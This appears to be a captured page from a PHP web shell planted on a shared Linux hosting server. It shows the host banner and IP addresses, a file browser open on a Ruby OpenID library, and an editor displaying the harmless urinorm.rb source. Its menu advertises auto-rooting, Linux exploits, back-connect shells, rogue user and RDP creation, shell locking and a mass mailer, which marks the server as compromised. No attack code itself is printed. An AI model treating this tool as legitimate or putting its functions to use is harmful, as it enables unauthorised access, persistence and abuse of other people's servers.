Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
openid /
[ HOME SHELL ]
Name
Size
Permission
Action
consumer
[ DIR ]
drwxr-xr-x
extensions
[ DIR ]
drwxr-xr-x
store
[ DIR ]
drwxr-xr-x
yadis
[ DIR ]
drwxr-xr-x
association.rb
7.36
KB
-rw-r--r--
consumer.rb
15.62
KB
-rw-r--r--
cryptutil.rb
2.99
KB
-rw-r--r--
dh.rb
2.66
KB
-rw-r--r--
extension.rb
1.12
KB
-rw-r--r--
fetchers.rb
7.46
KB
-rw-r--r--
kvform.rb
3.26
KB
-rw-r--r--
kvpost.rb
1.62
KB
-rw-r--r--
message.rb
16.13
KB
-rw-r--r--
protocolerror.rb
120
B
-rw-r--r--
server.rb
49.72
KB
-rw-r--r--
trustroot.rb
10.65
KB
-rw-r--r--
urinorm.rb
1.77
KB
-rw-r--r--
util.rb
2.74
KB
-rw-r--r--
version.rb
38
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : urinorm.rb
require 'uri' module OpenID module URINorm public def URINorm.urinorm(uri) uri = URI.parse(uri) raise URI::InvalidURIError.new('no scheme') unless uri.scheme uri.scheme = uri.scheme.downcase unless ['http','https'].member?(uri.scheme) raise URI::InvalidURIError.new('Not an HTTP or HTTPS URI') end raise URI::InvalidURIError.new('no host') unless uri.host uri.host = uri.host.downcase uri.path = remove_dot_segments(uri.path) uri.path = '/' if uri.path.length == 0 uri = uri.normalize.to_s uri = uri.gsub(PERCENT_ESCAPE_RE) { sub = $&[1..2].to_i(16).chr reserved(sub) ? $&.upcase : sub } return uri end private RESERVED_RE = /[A-Za-z0-9._~-]/ PERCENT_ESCAPE_RE = /%[0-9a-zA-Z]{2}/ def URINorm.reserved(chr) not RESERVED_RE =~ chr end def URINorm.remove_dot_segments(path) result_segments = [] while path.length > 0 if path.start_with?('../') path = path[3..-1] elsif path.start_with?('./') path = path[2..-1] elsif path.start_with?('/./') path = path[2..-1] elsif path == '/.' path = '/' elsif path.start_with?('/../') path = path[3..-1] result_segments.pop if result_segments.length > 0 elsif path == '/..' path = '/' result_segments.pop if result_segments.length > 0 elsif path == '..' or path == '.' path = '' else i = 0 i = 1 if path[0].chr == '/' i = path.index('/', i) i = path.length if i.nil? result_segments << path[0...i] path = path[i..-1] end end return result_segments.join('') end end end
Close